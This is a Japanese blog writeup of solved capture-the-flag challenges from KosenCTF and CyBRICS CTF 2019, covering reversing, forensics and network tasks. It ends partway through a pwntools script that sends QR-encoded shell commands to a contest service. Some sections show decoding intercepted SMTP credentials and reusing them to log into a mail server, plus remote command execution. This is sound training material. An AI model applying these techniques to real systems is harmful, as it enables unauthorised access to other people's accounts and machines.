private void push(int index) { for (int i = 0; i < 123; i++) { for (int j = 0; j < 9; j++) { if (this.vars[j] == this.correct_state[i]) { this.indices.Add(j); this.state.Add(this.vars[j]); } } this.shuffle(); } if (this.state.SequenceEqual(this.correct_state)) { string text = ""; for (int k = 0; k < this.indices.Count / 3; k++) { text += ((char)(this.indices[k * 3] * 64 + this.indices[k * 3 + 1] * 8 + this.indices[k * 3 + 2])).ToString(); } MessageBox.Show(text, "Correct!"); Console.WriteLine(text); } }
実行すると、メッセージボックスにフラグが出力されます。
FLAG
KosenCTF{pr3tty_3asy_r3v3rsing_cha11enge}
saferm(medium, forensics)
問題
saferm:
TAGS: medium, forensics
FILE: https://s3.ap-northeast-1.amazonaws.com/kosenctf/627b4d6651844980ba3eb28b52be3f11/saferm.tar.gz
解答例
ファイルをダウンロードすると、ディスクイメージ(disk.img)が出てきました。
$ file disk.img disk.img: DOS/MBR boot sector; partition 1 : ID=0x83, start-CHS (0x0,0,2), end-CHS (0x1,70,5), startsector 1, 20479 sectors
Autopsyでdisk.imgを開くと、2つの怪しいファイル(saferm、document.zip)が出てきました。
safermは、64bitのELFファイル、document.zipは壊れているようです。
$ file saferm saferm: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=56290bd1c9e89a65dad224953667d84270822d9a, not stripped $ file document.zip document.zip: data
safermは、ELFファイルなので、Ghidraで開いてみました。
デコンパイル結果を読んでみると、/dev/urandomから8バイト取得し、その値をキーにXORでデータを暗号化しているようでした。 おそらく、document.zipは、safermで暗号化されたようです。
document.zipは、おそらくzipファイルなので、zipヘッダを基にXORキーを求めました (XORキー = 「50 4B 03 04 14 00 00 00」^ 「7E 1C AE 2A EB C8 CA 49」)。
今回は、CyberChefでXORキーを求めました。
求めたXORキー(2E 57 ad 2E FF C8 CA 49)を基にdocument.zipを復号します。
復号したzipファイルを展開すると、document.pdfが入っていました。 このファイルを開くと、フラグを確認することができました。
FLAG
KosenCTF{p00r_shr3dd3r}
CyBRICS CTF 2019 Writeup
- CyBRICS CTF 2019 について
- CyBRICS CTF 2019 Writeup(10問)
- Mic Check (Cyber, Baby, 10 pts)
- Warmup (Web, Baby, 10 pts)
- Sender (Network, Baby, 10 pts)
- Honey, Help! (rebyC, Baby, 10 pts)
- Tone (Forensic, Baby, 10 pts)
- Oldman Reverse (Reverse, Baby, 10 pts)
- Matreshka (Reverse, Easy, 50 pts)
- Disk Data (Forensic, Easy, 56 pts)
- QShell (Cyber, Easy, 50 pts)
- Bitkoff Bank (Web, Easy, 50 pts)
CyBRICS CTF 2019 について
CyBRICS CTF 2019 が開催されました。
2019年7月20日 午後7時~7月21日 午後7時(24時間)
CyBRICS CTF 2019は、1位~3位に賞金の出る大会です。 なんと、1位は、10,000 USDももらえるそうです。 ただし、参加制限があり、残念ながら国籍フィルターで日本人は除外されてしまいます。
BRICS — that you're from Brazil, Russia, India, China or South Africa;
今回は、「バラバラで参加しよう」という話になり、一人で参加しました。 結果は、92/775位で266点でした。 幅広いジャンルでの問題が多かった印象です。 難易度も易しいものから高難易度の問題まで幅広く用意されていました。 一人では全然時間が足りなかったので、次回は複数人で参加したいです。
CyBRICS CTF 2019 Writeup(10問)
Mic Check (Cyber, Baby, 10 pts)
問題
Have you read the game rules? There's a flag there.
解答例
Welcome問題、ゲームルールのリンク先にあるフラグを投入するだけ。
FLAG
cybrics{W3lc0M3_t0_t3h_G4M#}
Warmup (Web, Baby, 10 pts)
問題
E_TOO_EASY
Just get the flag
解答例
問題のリンクをクリックすると、304で別のページにリダイレクトされてしまいます。 curlで直接リンク先を確認すると、末尾にBase64でエンコードされたデータが確認できました。
$ curl http://45.32.148.106 <html> <script language="JavaScript"> function func() { document.location.href = 'final.html' } </script> <body onload=func()> <p> But at this moment to take its place?<br/> It’s getting cold,” said Zametov. “Only the other end, waiting for her brother, but she said that he had come to that, nervous irritability from hunger, she falls to beating them at once, and warmly pressed his head was clear that he was talking nonsense, Sonia,” he muttered bitterly.<br/> 省略 And what if I hear any rumours, I’ll take it back in time,” struck him like a chicken in the stinking, dusty town air.<br/> Such was the hundredth part of Russia on a line you won’t be angry with me at once whispered almost aloud to the pavement.<br/> She was a lie at first?”<br/> Dounia remembered her pale lips was full of people in it when we spoke of you at least!<br/> For if Sonia has not gone off on the untouched veal, which was in great haste.<br/> She gave me with their long manes, thick legs, and slow even pace, drawing along a perfect right to kill him as strange and shocking sight.<br/> Here is your base64-encoded flag: Y3licmljc3s0YjY0NmM3OTg1ZmVjNjE4OWRhZGY4ODIyOTU1YjAzNH0= </p></body></html>
Base64でデコードすると、フラグを取得することができました。
$ echo "Y3licmljc3s0YjY0NmM3OTg1ZmVjNjE4OWRhZGY4ODIyOTU1YjAzNH0=" | base64 -d cybrics{4b646c7985fec6189dadf8822955b034}
FLAG
cybrics{4b646c7985fec6189dadf8822955b034}
Sender (Network, Baby, 10 pts)
問題
We've intercepted this text off the wire of some conspirator, but we have no idea what to do with that.
intercepted_text.txt
Get us their secret documents
添付ファイル(intercepted_text.txt)
220 ugm.cybrics.net ESMTP Postfix (Ubuntu) EHLO localhost 250-ugm.cybrics.net 250-PIPELINING 250-SIZE 10240000 250-VRFY 250-ETRN 250-AUTH PLAIN LOGIN 250-ENHANCEDSTATUSCODES 250-8BITMIME 250 DSN AUTH LOGIN 334 VXNlcm5hbWU6 ZmF3a2Vz 334 UGFzc3dvcmQ6 Q29tYmluNHQxb25YWFk= 235 2.7.0 Authentication successful MAIL FROM: <fawkes@ugm.cybrics.net> 250 2.1.0 Ok RCPT TO: <area51@af.mil> 250 2.1.5 Ok DATA 354 End data with <CR><LF>.<CR><LF> From: fawkes <fawkes@ugm.cybrics.net> To: Area51 <area51@af.mil> Subject: add - archive pw Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 =62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63= =68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74= =6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A . 250 2.0.0 Ok: queued as C4D593E8B6 QUIT 221 2.0.0 Bye
解答例
末尾の方に Quoted-printable でエンコードされたデータがあるので、とりあえずデコードしてみました。
=62=74=77=2E=0A=0A=70=61=73=73=77=6F=72=64 =66=6F=72 =74=68=65 =61=72=63= =68=69=76=65 =77=69=74=68 =66=6C=61=67=3A =63=72=61=63=6B=30=57=65=73=74= =6F=6E=38=38=76=65=72=74=65=62=72=61=0A=0A=63=68=65=65=72=73=21=0A
デコードするとパスワードが手に入りました。 フラグは、アーカイブファイルの中にあるようです。
btw. password for the archive with flag: crack0Weston88vertebra cheers!
次に、問題文の先頭にあるドメインを足掛かりに調べます。 とりあえず、nmapで調査をしてみます。 sshとpop3のポートが開いていることが分かりました。
PS> nmap ugm.cybrics.net Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-20 20:17 ???? (?W???) Nmap scan report for ugm.cybrics.net (136.244.67.129) Host is up (0.24s latency). rDNS record for 136.244.67.129: 136.244.67.129.vultr.com Not shown: 995 closed ports PORT STATE SERVICE 22/tcp open ssh 25/tcp filtered smtp 110/tcp open pop3 139/tcp filtered netbios-ssn 445/tcp filtered microsoft-ds Nmap done: 1 IP address (1 host up) scanned in 13.71 seconds
問題文に書かれているものは、pop3のコマンド履歴だったようです。 また、問題文の「AUTH LOGIN」付近を見ると、ログインユーザとパスワードがBase64でエンコードされていました。
$ echo "ZmF3a2Vz" | base64 -d fawkes $ echo "Q29tYmluNHQxb25YWFk=" | base64 -d Combin4t1onXXY
ユーザ名、パスワードが分かったので、telnetで接続します。 接続できたら、「LIST」コマンドでメール一覧を確認し、「RETR <メール番号>」コマンドでメール内容を確認します。
$ telnet ugm.cybrics.net 110 USER fawkes PASS Combin4t1onXXY LIST RETR 1
メールを確認すると、zipファイルが添付されているようです。 Base64でエンコードされているので、デコードすると暗号付きzipファイルが出てきました。
Return-Path: <fawkes@ugm.cybrics.net> X-Original-To: fawkes@ugm.cybrics.net Delivered-To: fawkes@ugm.cybrics.net Received: by sender (Postfix, from userid 1000) id B83843EBFF; Thu, 18 Jul 2019 16:41:23 +0000 (UTC) Date: Thu, 18 Jul 2019 16:41:23 +0000 From: fawkes <fawkes@ugm.cybrics.net> To: Area51 <area51@af.mil>, fawkes <fawkes@ugm.cybrics.net> Subject: interesting archive Message-ID: <20190718164123.GA9631@ugm.cybrics.net> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="J2SCkAp4GZ/dPZZf" Content-Disposition: inline User-Agent: Mutt/1.5.24 (2015-08-30) --J2SCkAp4GZ/dPZZf Content-Type: text/plain; charset=us-ascii Content-Disposition: inline take a look. dont share. secret. --J2SCkAp4GZ/dPZZf Content-Type: application/zip Content-Disposition: attachment; filename="secret_flag.zip" Content-Transfer-Encoding: base64 UEsDBBQACQBjAMua8k6A+vIXUogBAA+iAQAPAAsAc2VjcmV0X2ZsYWcucGRmAZkHAAEAQUUD CAC1GtwFWQRy7mwXUpknBhOJ3hpnDv1ei1Kf+knOhoW61yeyPdnML4vSrff+GUxQYCGKz6SB txgPjLvcWjoZokQBxFczx5575Z8Wv6dcwrX2X5A4WUFP+vpXBeq7E/c1Q7T87mR2WJnrhqLs 253Zoz1KC2kq+Gs/KXZILyxSzFWW6h7YLlozE6ru/f8WGtlLZzw5CXMdTcaZFGBjJX9jsqqY 以下省略
冒頭で取得したパスワードを使って展開すると、PDFファイルが出てきました。 PDFファイルを開くと、フラグが書かれていました。
FLAG
cybrics{Y0uV3_G0T_m41L}
Honey, Help! (rebyC, Baby, 10 pts)
問題
Added at 10:50 UTC: there was a typo in the flag. Please re-submit.
HONEY HELP!!!
I was working in my Kali MATE, pressed something, AND EVERYTHING DISAPPEARED!I even copied the text from terminal
リンク先のファイル(text from terminal)
root@myLOVELYcomputer:~/cybrics# ls -la total 12 drwxr-xr-x 2 root root 4096 Jul 22 2019 . drwxr-xr-x 21 root root 4096 Jul 22 2019 .. -rw-r--r-- 1 root root 44 Jul 22 2019 flag root@myLOVELYcomputer:~/cybrics# echo $'\e(0' ⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽# ┌⎽ -┌▒ ├⎺├▒┌ 12 ␍⎼┬│⎼-│⎼-│ 2 ⎼⎺⎺├ ⎼⎺⎺├ 4096 J┤┌ 22 2019 . ␍⎼┬│⎼-│⎼-│ 21 ⎼⎺⎺├ ⎼⎺⎺├ 4096 J┤┌ 22 2019 .. -⎼┬-⎼--⎼-- 1 ⎼⎺⎺├ ⎼⎺⎺├ 44 J┤┌ 22 2019 °┌▒± ⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽# ␌▒├ °┌▒± ␌≤␉⎼␋␌⎽π0┌≤_␌⎼4⎻_1⎽_├␋⎽_▒┌13┼␋$_0⎼_┬4├?£ ⎼⎺⎺├@└≤LOVELY␌⎺└⎻┤├␊⎼:·/␌≤␉⎼␋␌⎽#
解答例
自分のPCで実際に echo $'\e(0'
を実行して、気合で置換していきました。
もっとスマートな解き方が知りたい。
!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
と入力すると、以下のようになります。
FLAG
cybrics{h0ly_cr4p_1s_this_al13ni$h_0r_w4t?}
Tone (Forensic, Baby, 10 pts)
問題
Ha! Looks like this guy forgot to turn off his video stream and entered his password on his phone!
youtu.be/11k0n7TOYeM
解答例
リンクを踏むと、限定公開のYoutubeの動画に飛ばされます。 よく耳を澄ますと、電話の入力音(DTMF)が聞こえてきます。
Youtubeの音声を録音し、Audacityで少しずつ再生しながら耳コピしました。 個人的には、再生速度を上げると違いが分かりやすかったです。
音声の比較対象として、こちらのサイトも参考にしました。
耳コピした結果が以下の通りとなります。
222 999 22 777 444 222 7777 7777 33 222 777 33 8 8 666 66 2 555 333 555 2 4
これらの番号は、携帯電話のキーパッドと対応しています。 割り当てると、以下の通りになります。
c y b r i c s s e c r e t t o n a l f l a g
フラグの形式に合わせて整形したものが、フラグとなります。
FLAG
cybrics{secret tonal flag}
Oldman Reverse (Reverse, Baby, 10 pts)
問題
I've found this file in my grandfather garage. Help me understand what it does
oldman.asm
添付ファイル(oldman.asm)
.MCALL .TTYOUT,.EXIT START: mov #MSG r1 mov #0d r2 mov #32d r3 loop: mov #MSG r1 add r2 r1 movb (r1) r0 .TTYOUT sub #1d r3 cmp #0 r3 beq DONE add #33d r2 swab r2 clrb r2 swab r2 br loop DONE: .EXIT MSG: .ascii "cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}" .end START
解答例
見慣れない命令(swabやclrb)を調べていると、PDP-11と呼ばれる古いコンピュータのアセンブリだということが分かりました。
アセンブリを読んでいくと、33文字毎にMSGをローテートして表示するプログラムのようです。 C言語に読み換えて実装してみました。このプログラムを実行すると、フラグが取得できます。
#include <stdio.h> #include <string.h> int main(void) { char msg[] = "cp33AI9~p78f8h1UcspOtKMQbxSKdq~^0yANxbnN)d}k&6eUNr66UK7Hsk_uFSb5#9b&PjV5_8phe7C#CLc#<QSr0sb6{%NC8G|ra!YJyaG_~RfV3sw_&SW~}((_1>rh0dMzi><i6)wPgxiCzJJVd8CsGkT^p>_KXGxv1cIs1q(QwpnONOU9PtP35JJ5<hlsThB{uCs4knEJxGgzpI&u)1d{4<098KpXrLko{Tn{gY<|EjH_ez{z)j)_3t(|13Y}"; int i; for (i = 0; i < 32; i++) { char tmp[100] = {}; putchar(*msg); memcpy(tmp, msg, 33); memmove(msg, msg + 33, strlen(msg) - 33); memcpy(msg + strlen(msg) - 33, tmp, 33); } putchar('\n'); return 0; }
FLAG
cybrics{pdp_gpg_crc_dtd_bkb_php}
Matreshka (Reverse, Easy, 50 pts)
問題
Matreshka hides flag. Open it
matreshka.zip
解答例
zipファイルを展開すると、クラスファイルとdataファイルが入っていました。
$ file * Code2.class: compiled Java class data, version 54.0 data.bin: data
とりあえず実行してみると、Noと表示されます。
PS> java.exe Code2 No
PS> jad.exe .\Code2.class Parsing .\Code2.class... Generating Code2.jad
デコンパイル結果を確認すると、どうやらユーザ名が正しくないと「No」となってしまうようです。
// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. // Jad home page: http://www.kpdus.com/jad.html // Decompiler options: packimports(3) // Source File Name: 2.java import java.io.*; import javax.crypto.Cipher; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; class Code2 { Code2() { } public static byte[] decode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(2, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static byte[] encode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(1, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static void main(String args[]) throws Exception { String s = "matreha!"; byte abyte0[] = encode(System.getProperty("user.name").getBytes(), s); byte abyte1[] = { 76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 92, 1, 99, -94, 105, -18 }; for(int i = 0; i < abyte1.length; i++) if(abyte1[i] != abyte0[i]) { System.out.println("No"); return; } File file = new File("data.bin"); FileInputStream fileinputstream = new FileInputStream(file); byte abyte2[] = new byte[(int)file.length()]; fileinputstream.read(abyte2); fileinputstream.close(); byte abyte3[] = decode(abyte2, System.getProperty("user.name")); FileOutputStream fileoutputstream = new FileOutputStream("stage2.bin"); fileoutputstream.write(abyte3, 0, abyte3.length); fileoutputstream.flush(); fileoutputstream.close(); } }
上記のコードを書き換えて、本来のユーザ名を特定します。
import java.io.*; import javax.crypto.Cipher; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; class Matreshka { Matreshka() { } public static byte[] decode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(2, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static void main(String args[]) throws Exception { String s = "matreha!"; byte abyte1[] = { 76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 92, 1, 99, -94, 105, -18 }; byte dec_abyte1[] = decode(abyte1, s); System.out.println(new String(dec_abyte1)); } }
上記のプログラムを実行して確認すると、「lettreha」が本来のユーザ名だと分かりました。
PS> javac .\Matreshka.java PS> java Matreshka lettreha
元のソースコードの System.getProperty("user.name")
のところを「lettreha」に置き換えました。
// Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov. // Jad home page: http://www.kpdus.com/jad.html // Decompiler options: packimports(3) // Source File Name: 2.java import java.io.*; import javax.crypto.Cipher; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.DESKeySpec; class Code2 { Code2() { } public static byte[] decode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(2, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static byte[] encode(byte abyte0[], String s) throws Exception { SecretKeyFactory secretkeyfactory = SecretKeyFactory.getInstance("DES"); byte abyte1[] = s.getBytes(); DESKeySpec deskeyspec = new DESKeySpec(abyte1); javax.crypto.SecretKey secretkey = secretkeyfactory.generateSecret(deskeyspec); Cipher cipher = Cipher.getInstance("DES"); cipher.init(1, secretkey); byte abyte2[] = cipher.doFinal(abyte0); return abyte2; } public static void main(String args[]) throws Exception { String s = "matreha!"; String username = "lettreha"; // byte abyte0[] = encode(System.getProperty("user.name").getBytes(), s); byte abyte0[] = encode(username.getBytes(), s); byte abyte1[] = { 76, -99, 37, 75, -68, 10, -52, 10, -5, 9, 92, 1, 99, -94, 105, -18 }; for(int i = 0; i < abyte1.length; i++) if(abyte1[i] != abyte0[i]) { System.out.println("No"); return; } File file = new File("data.bin"); FileInputStream fileinputstream = new FileInputStream(file); byte abyte2[] = new byte[(int)file.length()]; fileinputstream.read(abyte2); fileinputstream.close(); // byte abyte3[] = decode(abyte2, System.getProperty("user.name")); byte abyte3[] = decode(abyte2, username); FileOutputStream fileoutputstream = new FileOutputStream("stage2.bin"); fileoutputstream.write(abyte3, 0, abyte3.length); fileoutputstream.flush(); fileoutputstream.close(); } }
上記のプログラムを実行すると、「stage2.bin」というファイルが生成されました。
PS> javac .\Code2.java PS> java Code2
2つ目のファイルは、ELFファイルのようです。
$ file stage2.bin stage2.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
とりあえず、実行してみましたが、やはり「Fail」と表示されるようです。
$ ./stage2.bin Fail
まずは、gdb-pedaで「Fail」の表示箇所を見つけます。 writeシステムコールでbreakさせて、少しステップ実行してみます。
gdb-peda$ catch syscall 1
gdb-peda$ r
すると、エラーを表示していそうな箇所を見つけることができました。
[----------------------------------registers-----------------------------------] RAX: 0xc000000300 --> 0xc00002a000 --> 0xc00002a800 --> 0xc00002b000 --> 0xc00002b800 --> 0xc00002c000 (--> ...) RBX: 0x427890 (<runtime.printunlock+96>: jmp 0x427830 <runtime.printunlock>) RCX: 0xc0000003b1 --> 0x100000000000001 RDX: 0x0 RSI: 0xc000000300 --> 0xc00002a000 --> 0xc00002a800 --> 0xc00002b000 --> 0xc00002b800 --> 0xc00002c000 (--> ...) RDI: 0x2 RBP: 0xc00002a788 --> 0xc00002a790 --> 0x428737 (<runtime.main+519>: mov eax,DWORD PTR [rip+0x121b93] # 0x54a2d0 <runtime.runningPanicDefers>) RSP: 0xc00002a6d0 --> 0x4a3f9c ("Fail\nGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicSTermTakriTamilargp=arraycasp1casp2casp3closefalsefaultfunc(gcingint16int32int64panicsleepslicesse41sse42ssse3uint8write (MB)\n Value addr= base code="...) RIP: 0x47630d (<main.main+861>: mov rbp,QWORD PTR [rsp+0xb8]) R8 : 0x5 R9 : 0x5 R10: 0x5 R11: 0x206 R12: 0xc ('\x0c') R13: 0xb ('\x0b') R14: 0x200 R15: 0x200 EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x4762fa <main.main+842>: mov QWORD PTR [rsp+0x8],0x5 0x476303 <main.main+851>: call 0x4280d0 <runtime.printstring> 0x476308 <main.main+856>: call 0x427830 <runtime.printunlock> => 0x47630d <main.main+861>: mov rbp,QWORD PTR [rsp+0xb8] 0x476315 <main.main+869>: add rsp,0xc0 0x47631c <main.main+876>: ret 0x47631d <main.main+877>: call 0x44ea40 <runtime.morestack_noctxt> 0x476322 <main.main+882>: jmp 0x475fb0 <main.main> [------------------------------------stack-------------------------------------] 0000| 0xc00002a6d0 --> 0x4a3f9c ("Fail\nGreekKhmerLatinLimbuNushuOghamOriyaOsageRunicSTermTakriTamilargp=arraycasp1casp2casp3closefalsefaultfunc(gcingint16int32int64panicsleepslicesse41sse42ssse3uint8write (MB)\n Value addr= base code="...) 0008| 0xc00002a6d8 --> 0x5 0016| 0xc00002a6e0 --> 0x4 0024| 0xc00002a6e8 --> 0x4 0032| 0xc00002a6f0 --> 0xc000014088 --> 0x746f6f72 ('root') 0040| 0xc00002a6f8 --> 0x4 0048| 0xc00002a700 --> 0x8 0056| 0xc00002a708 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value main.main () at /home/awengar/Distr/Hacks/ORG/SPBCTF/CyBrics/rev100_matreshka/2.go:25 25 /home/awengar/Distr/Hacks/ORG/SPBCTF/CyBrics/rev100_matreshka/2.go: No such file or directory. gdb-peda$
アドレスが分かったので、Ghidraで対象のアドレス(0x47630d)を見てみます。
エラー表示をしていそうな関数(runtime.printstring())が見つかりました。 その少し上には、io/ioutil.WriteFile() や crypto/rc4.() などがあり、そこがメインのコードになっていそうです。 その場所(0x476181)にgdb-pedaで無理やりjumpしてみます。
gdb-peda$ b *0x476126 gdb-peda$ b *0x476181 gdb-peda$ r gdb-peda$ jump *0x476181 gdb-peda$ c
すると、また新たに「result.pyc」という名前のファイル生成されました。
$ file result.pyc result.pyc: data
また、今回はそのまま実行することができませんでした。
$ python3 result.pyc
RuntimeError: Bad magic number in .pyc file
拡張子的には、pycファイルとなっているので、とりあえずデコンパイルしてみます。 今回は、下記のサイトで行いました。
デコンパイル結果は、以下の通りとなります。
def decode(data, key): idx = 0 res = [] for c in data: res.append(chr(c ^ ord(key[idx]))) idx = (idx + 1) % len(key) return res flag = [ 40, 11, 82, 58, 93, 82, 64, 76, 6, 70, 100, 26, 7, 4, 123, 124, 127, 45, 1, 125, 107, 115, 0, 2, 31, 15] print('Enter key to get flag:') key = input() if len(key) != 8: print('Invalid len') quit() res = decode(flag, key) print(''.join(res))
どうやらフラグは、8文字の文字列をキーとしたxor暗号で暗号化されているようです。
ただし、今回のフラグの初めの8文字は、cybrics{
であることが分かっています。
cybrics{
と 暗号化されたフラグでxorを取れば、キーが求められそうです。
CyberChefを使ってキーを求めてみます。
以上の結果から、今回のxorキーは、「Kr0H4137」だということが分かりました。 「Kr0H4137」を使って、フラグを復号することができました。
FLAG
cybrics{M4TR35HK4_15_B35T}
Disk Data (Forensic, Easy, 56 pts)
問題
Disk dump hides the flag. Obtain it
data2.zip.torrent
解答例
添付されたtorrentファイルからzipファイルをダウンロードし、展開するとExt4ファイルシステムのディスクイメージが出てきました。
$ file data2.bin data2.bin: Linux rev 1.0 ext4 filesystem data, UUID=a795f441-a210-45b1-885b-ff53d3ca0a61 (extents) (huge files)
「data2.bin」をAutopsyで開いてみました。 しばらく漁っていると、「.bash_history」を見つけました。 コマンド履歴を見てみると、どこからかwgetで画像ファイルをダウンロードし、 ImageMagickのconvertコマンドで画像の一部を白く塗りつぶしているのが確認できました。
ls ls -anl bash su rev read -r URL cd Downloads/ wget $URL eog kTd0T9g.png convert kTd0T9g.png -fill white -draw "rectangle 0,0 300,35" kTd0T9g.png eog kTd0T9g.png ync sync ls -anl cd Downloads/ wget https://www.torproject.org/dist/torbrowser/8.5.4/tor-browser-linux64-8.5.4_en-US.tar.xz wget https://github.com/geohot/qira/archive/v1.3.zip unzip v1.3.zip ls tar xvf tor-browser-linux64-8.5.4_en-US.tar.xz
編集された画像を見てみると、コマンド履歴の通り左上が白く塗りつぶされています。 画像を直接編集しているので復元できそうにありません。
さらに調査を進めると、ファイルのメタデータであるファイル拡張属性(user.xdg.origin.url)にURL(https://i.imgur.com/kTd0T9g.png)が残っていることに気が付きました。
実際にアクセスしてみると、白く塗りつぶされる前の画像が出てきました。 左上にフラグも確認できます。
FLAG
cybrics{A11W4Y5_D1G_D33P3R}
QShell (Cyber, Easy, 50 pts)
問題
QShell is running on
nc spbctf.ppctf.net 37338Grab the flag
解答例
nc spbctf.ppctf.net 37338
で接続してみると、以下のようにQRコードが表示されます。
QRコードを読み取ると、プロンプトが出てきました。
sh-5.0$
.
を入力してみると、「tile cannot extend outside image」とエラーが出てきました。
エラーの文章から推測すると、こちらも同じ形式でコマンドを送信しなけらばならないようです。
また、 .
以外の文字列だと反応しないことから、 .
がコマンドの終端となっているようです。
QRコードをいちいち作るのは面倒くさいので、下記のサイトを参考し、qrencodeを使ってQRコードを生成させました。
qrencodeのインストールは、下記コマンドでできます。
$ sudo apt-get install qrencode
以下のコマンドで、自由に文字列をQRコードに変換することができます。
$ qrencode -t ASCIIi "ls" ########################################################## ########################################################## ########################################################## ########################################################## ######## ###### ## ## ######## ######## ########## ## ## ## ## ########## ######## ######## ## ## ## ## #### ## ## ######## ######## ## ## ########## ## ## ## ######## ######## ## ## ## ## ## ## ######## ######## ########## ## ###### ########## ######## ######## ## ## ## ## ######## ######################## ################################ ######## ## #### #### ## ## ########## ######## ###### #### ## ## ## #### ######## ############ ###### #### ## #### #### ######## ############## #### #### ## #### ######## ########## #### ## ## #### ########## ######################## ###### ## ## ## ######## ######## ## ## ## ## ########## ######## ########## #### ######## ###### ######## ######## ## ## #### #### ###### ######## ######## ## ## ## ## #### ###### ######## ######## ## ## ###### ## ## ## ######## ######## ########## ## #### #### ## ############## ######## ## #### ## #### ########## ########################################################## ########################################################## ########################################################## ##########################################################
qrencodeの実行結果をpythonスクリプトに貼り付けて、QR送信用のプログラムを作成しました。 まずは、lsコマンド送信用のプログラムを作成しました。
from pwn import * qr_ls = ["##########################################################", \ "##########################################################", \ "##########################################################", \ "##########################################################", \ "######## ###### ## ## ########", \ "######## ########## ## ## ## ## ########## ########", \ "######## ## ## ## ## #### ## ## ########", \ "######## ## ## ########## ## ## ## ########", \ "######## ## ## ## ## ## ## ########", \ "######## ########## ## ###### ########## ########", \ "######## ## ## ## ## ########", \ "######################## ################################", \ "######## ## #### #### ## ## ##########", \ "######## ###### #### ## ## ## #### ########", \ "############ ###### #### ## #### #### ########", \ "############## #### #### ## #### ########", \ "########## #### ## ## #### ##########", \ "######################## ###### ## ## ## ########", \ "######## ## ## ## ## ##########", \ "######## ########## #### ######## ###### ########", \ "######## ## ## #### #### ###### ########", \ "######## ## ## ## ## #### ###### ########", \ "######## ## ## ###### ## ## ## ########", \ "######## ########## ## #### #### ## ##############", \ "######## ## #### ## #### ##########", \ "##########################################################", \ "##########################################################", \ "##########################################################", \ "##########################################################"] context(arch='amd64', os='linux') p = remote('spbctf.ppctf.net', 37338) ret = p.readuntil('.') ret = p.readline().strip() white = "\xe2\x96\x88" black = "\x20" for i in range(len(qr_ls)): qr = qr_ls[i].replace("##", white).replace(" ", black) p.sendline(qr) p.sendline(".") p.interactive()
上記のプログラムを実行すると、新たにQRコードが返ってきました。 少しバグっているようですが、問題なく読み取れました。
QRコードを読み取ると、以下の通りになっていました。
1.py 2.py docker-compose.yml Dockerfile flag.txt log.txt qweqwe.png rex.txt runserver.sh run.sh
次に、「cat flag.txt」という文字列をQRコードに変換し、送信用のプログラムを調整しました。
